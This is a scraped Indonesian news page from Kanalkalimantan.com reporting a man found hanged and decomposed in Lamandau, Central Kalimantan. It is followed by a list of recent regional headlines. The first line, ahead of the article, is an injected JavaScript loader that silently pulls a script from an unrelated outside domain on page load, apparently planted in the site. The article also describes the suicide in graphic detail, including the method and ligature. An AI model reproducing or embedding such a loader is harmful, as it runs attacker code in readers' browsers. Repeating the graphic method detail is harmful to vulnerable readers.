(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

Warga Mukti Manunggal Temukan Jasad Lelaki Tergantung Sudah Membusuk


KANALKALIMANTAN.COM, NANGA BULIK – Sesosok mayat dalam kondisi hitam membusuk ditemukan tergantung pada seutas tali di Desa Mukti Manunggal, Kecamatan Menthobi, Kabupaten Lamandau, Kalimantan Tengah, Jum’at (6/1/2022) pagi.

Penemuan mayat berjenis kelamin laki-laki itu awalnya ditemukan salah satu warga desa sekitar pukul 06:00 WIB, yang pergi ke kebun. Saksi berangkat dari rumah untuk mencari bambu, pada saat berada di kebun, warga itu mencium bau tidak sedap kemudian mencari sumber bau tersebut. Ternyata asal bau tak sedap itu berasal dari mayat yang menggantung di sebuah pohon jengkol.

Saat ditemukan warga, mayat dalam keadaan kepala membusuk terlihat tengkorak, posisi kaki tertekuk menyentuh tanah dan badan membengkak penuh belatung berwarna hitam.

Setelah menemukan mayat, saksi memberitahukan kepada warga sekitar dan melaporkan kejadian tersebut ke Pos Polisi setempat. Kemudian dilakukan koordinasi tehadap perangkat desa setempat untuk dilakukan pengecekan memastikan hal tersebut selanjutkan dilaporkan kepada Polres Lamandau untuk dilakukan olah tempat kejadian perkara (TKP).

 

Baca juga : Terangi Ibu Kota Kalsel, Disperkim Banjarbaru Terget Seribu PJU Tiap Tahun

Anggota personil Polres Lamandau dipimpin Kapolsek Sematu Jaya, Iptu Marzuki SSos bersama tim Identifikasi Polres Lamandau, tim medis Puskesmas dan aparat desa Mukti Manunggal kemudian melakukan olah TKP.

“Mayat yang ditemukan warga sudah membusuk itu diduganya gantung diri, diperkirakan mayat sudah lebih dari tiga hari,” ujar Kapolsek Sematu Jaya, Iptu Marzuki SSos.

Dari hasil pemeriksaan luar terhadap tubuh jenazah yang dilakukan oleh tim identifikasi Polres Lamandau, tidak ditemukan adanya tanda-tanda kekerasan.

Saksi lain meyebutkan bahwa sebelum malam tahun baru, laki-laki itu ada pamit pergi keluar, namun untuk tujuan tidak disampaikan kepada saksi. Pada saat meninggalkan rumah pakaian serta kendaraan yang digunakan sama dengan di lokasi penemuan jasad.

Baca juga  : ‘Bola Panas’ Wacana Pemindahan Ibu Kota Batola, Mimpi Rifqinizamy Tuai Kontra!

“Keterangan dari warga lain menjelaskan untuk motif, korban diduga putus cinta dengan pacarnya karena pacar korban tidak mau diajak balikan, bahkan sempat mengirim video ke pacarnya bahwa korban mau gantung diri,” ujar Kapolsek Sematu Jaya, Iptu Marzuki SSos dari keterangan salah satu warga.

Untuk barang bukti yang diamankan, satu kaos berwarna hitam, 1  celana pendek berwarna hitam, kain yang digunakan korban untuk melilit leher sepanjang 130 Cm, dan sepeda motor korban.
(Kanalkalimantan.com/habibullah)

Reporter : habibullah
Editor : kk


Desy Arfianty

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

9 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

10 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

10 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

11 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

12 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

12 jam ago

This website uses cookies.